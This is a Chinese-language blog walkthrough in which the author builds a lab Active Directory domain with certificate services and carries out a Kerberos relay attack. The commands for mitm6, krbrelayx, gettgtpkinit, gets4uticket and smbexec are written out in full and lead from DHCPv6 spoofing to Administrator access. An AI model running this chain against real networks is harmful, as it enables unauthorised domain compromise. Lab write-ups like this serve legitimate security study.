kerberos中继攻击

字数统计: 779字   |   阅读时长≈ 3分

环境搭建

  1. DC ip：192.168.21.2 域名：DC.rangenet.com

  2. ADCS ip：192.168.21.3 域名：adcs.rangenet.com

  3. 一台win10域成员 ip：192.168.21.4 域名win10.rangenet.com

  4. 攻击机kali ip：192.168.21.10

DC搭建

选择一台winserver搭建adcs服务，这里是winserver2016。选择Active Directory 域服务，其他默认即可。

图形用户界面, 文本, 应用程序 描述已自动生成

安装完成之后，提升为域控制器，开始配置域控。

添加新林rangenet.com，其他默认，然后一步步到安装。

图形用户界面, 应用程序 描述已自动生成

图形用户界面, 文本, 应用程序, 电子邮件 描述已自动生成

ADCS搭建

选择一台winserver搭建adcs服务，这里是winserver2016。然后先将这台server加入到rangenet.com域中

社交网络的手机截图 描述已自动生成

电脑萤幕的截图 描述已自动生成

重启之后，使用域控账号登录（因为要安装ADCS服务需要登陆账号属于Enterprise Admins组，为了方便这里使用域控账号登录）

图片包含 游戏机, 自然, 夜空 描述已自动生成

下面正式开始安装ADCS服务，只需要注意下面截图的内容，其他都是默认。

服务器管理器–>添加角色和功能向导–>勾选服务器角色–>Active Director 证书服务

图形用户界面, 应用程序 描述已自动生成

图形用户界面, 应用程序 描述已自动生成

开始安装

图形用户界面, 文本, 应用程序 描述已自动生成

配置ADCS服务，只需要注意下面截图的内容，其他都是默认。

图表 低可信度描述已自动生成

图形用户界面, 文本, 应用程序 描述已自动生成

图形用户界面, 文本, 应用程序 描述已自动生成

图形用户界面, 文本, 应用程序 描述已自动生成

图形用户界面, 应用程序 描述已自动生成

访问http://localhost/certsrv出现登录框

图形用户界面, 应用程序 描述已自动生成

输入系统账号即可进入，出现下面界面，表示安装成功。

图形用户界面, 文本, 应用程序 描述已自动生成

Kerberos中继攻击

Kali中添加域控ip为dns

图形用户界面, 文本, 网站 描述已自动生成

改完后ping一下域成员，能ping通即可

文本 描述已自动生成

开始攻击

使用mitm6监听DHCPV6请求。

Mitm6 –domain rangenet.com –host-allowlist win10.rangenet.com –relay adcs.rangenet.com -v

–domain 是要攻击的域名

–host-allowlist是过滤win10这台机器的请求

–relay是转发请求的地址，这里填adcs地址

图形用户界面, 文本 描述已自动生成

使用krbrelays.py中继kerberos协议.

Pyhton3 krbrelayx.py –target http://adcs.rangenet.com/certsrv/ -ip 192.168.21.10 –victim win10.rangenet.com –adcs –template Machine

–target 是adcs证书服务的url地址

-ip是当前ip（内网中控制的机器，这里把kali直接放在内网中了）

–victim是受害者域名

图形用户界面, 文本 描述已自动生成

然后重启win10，当win10成员机获取网络连接时会发出DHCPv6请求的包，以便mitm6可以接管DHCPv6请求。

文本 描述已自动生成

Krbrelax.py成功中继到证书

文本 描述已自动生成

证书太长，把证书复制到文件里，方便复制全证书

文本 描述已自动生成

接下来使用证书去向域控获取tgt，我们使用gettgtpkinit.py来模拟这个过程。

python gettgtpkinit.py -pfx-base64 一大串证书 rangenet.com/win10$ win10.ccache

文本 描述已自动生成

报下面截图的错是因为时钟问题，DC的时间太落后了，调回正常时间即可。

图形用户界面, 文本 描述已自动生成

下面成功获取到tgt票据

文本 描述已自动生成

接下来请求管理员票据

python gets4uticket.py kerberos+ccache://rangenet.com\win10$:win10.ccache@DC主机名.rangenet.com cifs/win10.rangenet.com@rangenet.com Administrator@rangenet.com admin.ccache

DC主机名在mitm6处理的请求中可以找到

文本 描述已自动生成

图形用户界面, 文本, 网站 描述已自动生成

然后就可以使用管理员票据去登录机器了

KRB5CCNAME=admin.ccache python ../impacket/examples/smbexec.py -k rangenet.com/Administrator@win10.rangenet.com -no-pass

文本 描述已自动生成

赏

谢谢你请我吃糖果

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

俗话说“好记性不如烂笔头”，各个安全社区各自为战，当我们想要搜索某一方面的文章的时候总是得在各个平台之间来回横跳，于是乎，一个平台文章聚合搜索的想法诞生了。
然后正好我想有一个自己的博客，于是乎两者融合在了一起。
下面简单介绍各个导航的区别：
个人文章：本人的笔记、复现、总结等或者本人参与的共同创作。
收集文章：手工从公众号收集保存的文章，更新频率看本人喜好所以比较慢。
聚合文章：从各大平台收集整理，由工具实现，每天更新。
很惭愧，只做了一点微小的工作。